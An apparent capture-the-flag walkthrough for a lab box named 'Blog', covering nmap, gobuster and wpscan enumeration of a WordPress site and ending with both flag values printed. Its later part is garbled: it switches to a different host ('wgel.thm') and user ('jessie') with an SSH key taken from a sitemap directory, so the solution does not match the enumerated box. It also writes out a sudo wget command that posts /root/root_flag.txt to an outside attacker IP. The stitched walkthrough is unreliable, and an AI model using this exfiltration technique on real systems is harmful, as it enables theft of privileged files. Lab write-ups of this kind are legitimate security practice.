🔗 Blog
Billy Joel made a blog on his home computer and has started working on it. It's going to be so awesome!
Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole...
In order to get the blog to work with AWS, you'll need to add blog.thm to your /etc/hosts file.
Task 1 - Deploy the machine
🎯 Target IP: 10.10.139.146
Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
Copy su
echo "10.10.139.146 blog.thm" >> /etc/hosts
mkdir thm/blog.thm
cd thm/blog.thm
mkdir {nmap,content,exploits,scripts}
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
Copy ping -c 3 blog.thm
PING blog.thm (10.10.139.146) 56( 84 ) bytes of data.
64 bytes from blog.thm (10.10.139.146): icmp_seq = 1 ttl = 63 time = 64.3 ms
64 bytes from blog.thm (10.10.139.146): icmp_seq = 2 ttl = 63 time = 67.2 ms
64 bytes from blog.thm (10.10.139.146): icmp_seq = 3 ttl = 63 time = 88.0 ms
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix, while Windows systems usually have a TTL of 128 secs.
Of course, start to check information scanning open ports:
Copy nmap --open -p0- -n -Pn -vvv --min-rate 5000 wgel.thm -oG nmap/port_scan
Copy PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
command result output to file with nmap formatting
It looks like there are 4 open ports on the machine: 22,80,139,445.
Now, we need to search which services are running on open ports:
Copy nmap -p22,80,139,445 -n -Pn -vvv -sCV --min-rate 5000 blog.thm -oN nmap/open_port
Copy PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux ; protocol 2.0 )
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3hfvTN6e0P9PLtkjW4dy+6vpFSh1PwKRZrML7ArPzhx1yVxBP7kxeIt3lX/qJWpxyhlsQwoLx8KDYdpOZlX5Br1PskO6H66P+AwPMYwooSq24qC/Gxg4NX9MsH/lzoKnrgLDUaAqGS5ugLw6biXITEVbxrjBNdvrT1uFR9sq+Yuc1JbkF8dxMF51tiQF35g0Nqo+UhjmJJg73S/VI9oQtYzd2GnQC8uQxE8Vf4lZpo6ZkvTDQ7om3t/cvsnNCgwX28/TRcJ53unRPmos13iwIcuvtfKlrP5qIY75YvU4U9nmy3+tjqfB1e5CESMxKjKesH0IJTRhEjAyxjQ1HUINP
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJtovk1nbfTPnc/1GUqCcdh8XLsFpDxKYJd96BdYGPjEEdZGPKXv5uHnseNe1SzvLZBoYz7KNpPVQ8uShudDnOI=
| 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICfVpt7khg8YIghnTYjU1VgqdsCRVz7f1Mi4o4Z45df8
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
| _/wp-admin/
| _http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.4.29 (Ubuntu)
| _http-title: Billy Joel & #039;s IT Blog – The IT blog
| _http-generator: WordPress 5.0
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP )
445/tcp open netbios-p syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP )
Service Info: Host: BLOG ; OS: Linux ; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu )
| Computer name: blog
| NetBIOS computer name: BLOG \x 00
| Domain name: \x 00
| FQDN: blog
| _ System time: 2023-10-09T20:09:44+00:00
| nbstat: NetBIOS name: BLOG, NetBIOS user: < unknow n > , NetBIOS MAC: < unknow n > (unknown)
| Names:
| BLOG <00> Flags: < uniqu e>< activ e >
| BLOG <03> Flags: < uniqu e>< activ e >
| BLOG <20> Flags: < uniqu e>< activ e >
| \x01\x02__MSBROWSE__\x02 <01> Flags: < grou p>< activ e >
| WORKGROUP <00> Flags: < grou p>< activ e >
| WORKGROUP <1d> Flags: < uniqu e>< activ e >
| WORKGROUP <1e> Flags: < grou p>< activ e >
| Statistics:
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
| _ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
| smb2-time:
| date: 2023-10-09T20:09:43
| _ start_date: N/A
| smb2-security-mode:
| 3:1:1:
| _ Message signing enabled but not required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 19082/tcp ): CLEAN ( Couldn 't connect)
| Check 2 (port 18083/tcp): CLEAN (Couldn' t connect )
| Check 3 (port 25508/udp ): CLEAN ( Failed to receive data )
| Check 4 (port 20819/udp ): CLEAN ( Failed to receive data )
| _ 0/4 checks are positive: Host is CLEAN or ports are blocked
| _clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
| _ message_signing: disabled (dangerous, but default )
Task 3 - Root.txt?
Then we can start to see website (port 80):
and see page source for checking information disclosure.
but we don't find precious info.
Another good thing to do, is find hidden paths on website using gobuster
Copy gobuster dir -u blog.thm -w /usr/share/wordlists/dirb/common.txt
Very good, we can start to check these web dir:
we just know that wp-admin is a default login path for wordpress, then we go there:
we can try to login with admin/billy/kare:password (that are present on blog page how authors), but it doesn't works.
We can launch wp-scan to give info from wordpress:
Copy wpscan --url http://blog.thm -e u
Copy Interesting Finding ( s ) :
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection )
| Confidence: 100%
[+] robots.txt found: http://blog.thm/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection )
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
| Found By: Direct Access (Aggressive Detection )
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.thm/readme.html
| Found By: Direct Access (Aggressive Detection )
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection )
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
| Found By: Direct Access (Aggressive Detection )
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.0 identified ( Insecure, released on 2018-12-06 ).
| Found By: Rss Generator (Passive Detection )
| - http://blog.thm/feed/, < generato r > https://wordpress.org/?v= 5.0 < /generato r >
| - http://blog.thm/comments/feed/, < generato r > https://wordpress.org/?v= 5.0 < /generato r >
[+] WordPress theme in use: twentytwenty
| Location: http://blog.thm/wp-content/themes/twentytwenty/
| Last Updated: 2023-03-29T00:00:00.000Z
| Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
| [ ! ] The version is out of date, the latest version is 2.2
| Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver= 1.3
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection )
|
| Version: 1.3 (80% confidence )
| Found By: Style (Passive Detection )
| - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'
[+] Enumerating Users ( via Passive and Aggressive Methods )
Brute Forcing Author IDs - Time: 00:01:14 <=============================================================================================================================================================> (10 / 10) 100.00% Time: 00:01:14
[i] User( s ) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection )
| Confirmed By:
| Wp Json Api (Aggressive Detection )
| - http://blog.thm/wp-json/wp/v2/users/?per_page= 100 & page = 1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection )
| Login Error Messages (Aggressive Detection )
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection )
| Confirmed By:
| Wp Json Api (Aggressive Detection )
| - http://blog.thm/wp-json/wp/v2/users/?per_page= 100 & page = 1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection )
| Login Error Messages (Aggressive Detection )
[+] Karen Wheeler
| Found By: Rss Generator (Passive Detection )
| Confirmed By: Rss Generator (Aggressive Detection )
[+] Billy Joel
| Found By: Rss Generator (Passive Detection )
| Confirmed By: Rss Generator (Aggressive Detection )
Copy gobuster dir -u wgel.thm/sitemap -w /usr/share/wordlists/dirb/common.txt
we've find and id_rsa:
remembering that we've user and id rsa, first take permission to id_rsa file and try login:
Copy chmod 600 id_rsa
ssh -i id_rsa jessie@wgel.thm
We're in, try to find user.txt flag using find command:
Copy find / -type f -iname "*flag.txt" 2> /dev/null
🚩 Flag 1 (user_flag.txt)057c67131c3d5e42dd5cd3075b198ff6
Task 4 - user.txt?
We can do sudo -l command to discover user's permissions.
Copy sudo /usr/bin/wget http://10.9.80.228:4444 --post-file=/root/root_flag.txt
Well done! Root flag found!
🚩 Flag 2 (root_flag.txt)b1b968b37519ad1daa6408188649263d
4.1 Where was user.txt found?
4.2 What CMS was Billy using?
4.3 What version of the above CMS was being used?